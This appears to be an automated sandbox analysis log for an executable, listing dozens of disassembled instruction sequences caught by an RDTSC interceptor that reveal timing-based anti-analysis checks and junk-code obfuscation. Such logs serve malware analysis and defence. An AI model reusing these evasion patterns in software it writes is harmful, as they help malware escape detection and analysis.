Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1FBDC second address: D1FBEC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007FD2D8EB8E36h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1FBEC second address: D1FC0E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FD2D8B2F887h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20152 second address: D2015D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD2D8EB8E36h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2015D second address: D20164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20904 second address: D20936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FD2D8EB8E45h 0x0000000b jmp 00007FD2D8EB8E3Dh 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 jmp 00007FD2D8EB8E45h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26BE2 second address: D26BF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD2D8B2F87Bh 0x00000008 jl 00007FD2D8B2F876h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D371C2 second address: D371EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FD2D8EB8E5Ch 0x0000000f pushad 0x00000010 jmp 00007FD2D8EB8E42h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D371EE second address: D371FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD2D8B2F876h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B2E0 second address: D3B2F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2D8EB8E3Dh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41E44 second address: D41E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD2D8B2F887h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D958 second address: D4D95F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D95F second address: D4D969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FD2D8B2F876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D969 second address: D4D96D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D96D second address: D4D988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FD2D8B2F87Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D7F2 second address: D4D7F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D535DE second address: D535E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D523E4 second address: D523F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FD2D8EB8E42h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D523F1 second address: D523F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D523F7 second address: D523FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D532DE second address: D532F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD2D8B2F87Ah 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007FD2D8B2F876h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63D27 second address: D63D52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FD2D8EB8E42h 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD2D8EB8E3Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63D52 second address: D63D5C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD2D8B2F876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63D5C second address: D63D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FD2D8EB8E3Eh 0x0000000f jnp 00007FD2D8EB8E36h 0x00000015 jmp 00007FD2D8EB8E44h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7213B second address: D72146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72146 second address: D7214A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7214A second address: D7216D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007FD2D8B2F87Eh 0x0000000e popad 0x0000000f jbe 00007FD2D8B2F894h 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7216D second address: D72171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72171 second address: D72175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D74B76 second address: D74B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D74B7C second address: D74B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D74D18 second address: D74D22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FD2D8EB8E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8841F second address: D88424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C28E second address: D8C294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C294 second address: D8C2B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2D8B2F882h 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C57C second address: D8C582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C6A7 second address: D8C6AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C99A second address: D8C9A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C9A4 second address: D8C9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FD2D8B2F87Dh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C9BC second address: D8C9C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C9C2 second address: D8C9C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8CB84 second address: D8CBA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E48h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8CF8F second address: D8CFC8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD2D8B2F876h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jno 00007FD2D8B2F882h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD2D8B2F889h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8FF29 second address: D8FF31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92D67 second address: D92DAD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FD2D8B2F87Eh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FD2D8B2F885h 0x00000011 nop 0x00000012 add dword ptr [ebp+122D2388h], esi 0x00000018 push dword ptr [ebp+12464130h] 0x0000001e mov edx, dword ptr [ebp+122D1A85h] 0x00000024 push 40F4F54Eh 0x00000029 push eax 0x0000002a push edi 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D962DA second address: D962E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD2D8EB8E36h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D962E7 second address: D962EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522029C second address: 52202B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2D8EB8E48h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52202B8 second address: 52202BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52202BC second address: 52202D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushad 0x0000000c mov ax, dx 0x0000000f mov esi, edi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52202D2 second address: 52202E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebp 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD2D8B2F87Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52202E9 second address: 52202EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52202EF second address: 52202F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522032E second address: 5220334 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220334 second address: 5220348 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 push esi 0x00000007 pop edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220348 second address: 522034E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522034E second address: 5220378 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F886h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD2D8B2F87Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220378 second address: 522037C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522037C second address: 5220382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220382 second address: 5220393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2D8EB8E3Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220393 second address: 5220397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220397 second address: 52203D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushfd 0x0000000d jmp 00007FD2D8EB8E49h 0x00000012 sub cx, 8AD6h 0x00000017 jmp 00007FD2D8EB8E41h 0x0000001c popfd 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7BE0 second address: CA7BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD2D8B2F87Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7BFA second address: CA7BFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7FEB second address: CA7FF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7FF1 second address: CA7FF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522040D second address: 5220413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220413 second address: 5220417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220417 second address: 522041B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522041B second address: 522049A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a jmp 00007FD2D8EB8E48h 0x0000000f pushfd 0x00000010 jmp 00007FD2D8EB8E42h 0x00000015 xor ecx, 40EF2CE8h 0x0000001b jmp 00007FD2D8EB8E3Bh 0x00000020 popfd 0x00000021 popad 0x00000022 push eax 0x00000023 pushad 0x00000024 movsx edx, cx 0x00000027 pushfd 0x00000028 jmp 00007FD2D8EB8E40h 0x0000002d sub ax, 3F48h 0x00000032 jmp 00007FD2D8EB8E3Bh 0x00000037 popfd 0x00000038 popad 0x00000039 xchg eax, ebp 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d mov ebx, 3A4D91B6h 0x00000042 mov edi, 4F191342h 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522049A second address: 52204D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, esi 0x00000005 pushfd 0x00000006 jmp 00007FD2D8B2F882h 0x0000000b or esi, 659B24D8h 0x00000011 jmp 00007FD2D8B2F87Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f movsx ebx, cx 0x00000022 mov eax, 1D373F23h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220528 second address: 5220597 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD2D8EB8E3Fh 0x00000008 sub ecx, 4763B70Eh 0x0000000e jmp 00007FD2D8EB8E49h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 push 05C22077h 0x0000001c jmp 00007FD2D8EB8E47h 0x00000021 add dword ptr [esp], 7067FBB1h 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FD2D8EB8E45h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52206C3 second address: 52206C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52206C9 second address: 522077F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007FD2D8EB8E47h 0x0000000b and cl, 0000002Eh 0x0000000e jmp 00007FD2D8EB8E49h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 sub edx, esi 0x00000019 jmp 00007FD2D8EB8E47h 0x0000001e mov edi, dword ptr [ebp+08h] 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FD2D8EB8E44h 0x00000028 sbb ecx, 37421A08h 0x0000002e jmp 00007FD2D8EB8E3Bh 0x00000033 popfd 0x00000034 mov dl, cl 0x00000036 popad 0x00000037 dec edi 0x00000038 pushad 0x00000039 movsx ebx, ax 0x0000003c mov bh, al 0x0000003e popad 0x0000003f lea ebx, dword ptr [edi+01h] 0x00000042 jmp 00007FD2D8EB8E45h 0x00000047 mov al, byte ptr [edi+01h] 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007FD2D8EB8E3Dh 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522077F second address: 52207C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 mov ecx, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a inc edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FD2D8B2F87Eh 0x00000013 pushfd 0x00000014 jmp 00007FD2D8B2F882h 0x00000019 xor si, 9458h 0x0000001e jmp 00007FD2D8B2F87Bh 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52207C0 second address: 52207FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c mov al, A4h 0x0000000e popad 0x0000000f jne 00007FD349EC10D2h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FD2D8EB8E41h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52207FC second address: 5220870 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b pushad 0x0000000c mov eax, 58F4D463h 0x00000011 popad 0x00000012 shr ecx, 02h 0x00000015 jmp 00007FD2D8B2F885h 0x0000001a rep movsd 0x0000001c rep movsd 0x0000001e rep movsd 0x00000020 rep movsd 0x00000022 rep movsd 0x00000024 jmp 00007FD2D8B2F87Eh 0x00000029 mov ecx, edx 0x0000002b jmp 00007FD2D8B2F880h 0x00000030 and ecx, 03h 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FD2D8B2F887h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220870 second address: 5220888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2D8EB8E44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220888 second address: 5220911 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F87Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsb 0x0000000d jmp 00007FD2D8B2F886h 0x00000012 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000019 pushad 0x0000001a mov esi, edx 0x0000001c popad 0x0000001d mov eax, ebx 0x0000001f jmp 00007FD2D8B2F87Fh 0x00000024 mov ecx, dword ptr [ebp-10h] 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a mov ebx, 6B742996h 0x0000002f pushfd 0x00000030 jmp 00007FD2D8B2F887h 0x00000035 or ecx, 70D1761Eh 0x0000003b jmp 00007FD2D8B2F889h 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220911 second address: 5220917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220917 second address: 522092C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522092C second address: 522093C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522093C second address: 5220942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220942 second address: 5220946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220946 second address: 5220977 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 pushad 0x0000000a jmp 00007FD2D8B2F87Fh 0x0000000f mov di, si 0x00000012 popad 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD2D8B2F881h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220977 second address: 52209BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 34C746A2h 0x00000008 mov edx, 77772AEEh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop esi 0x00000011 jmp 00007FD2D8EB8E45h 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FD2D8EB8E48h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52209BA second address: 52209C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
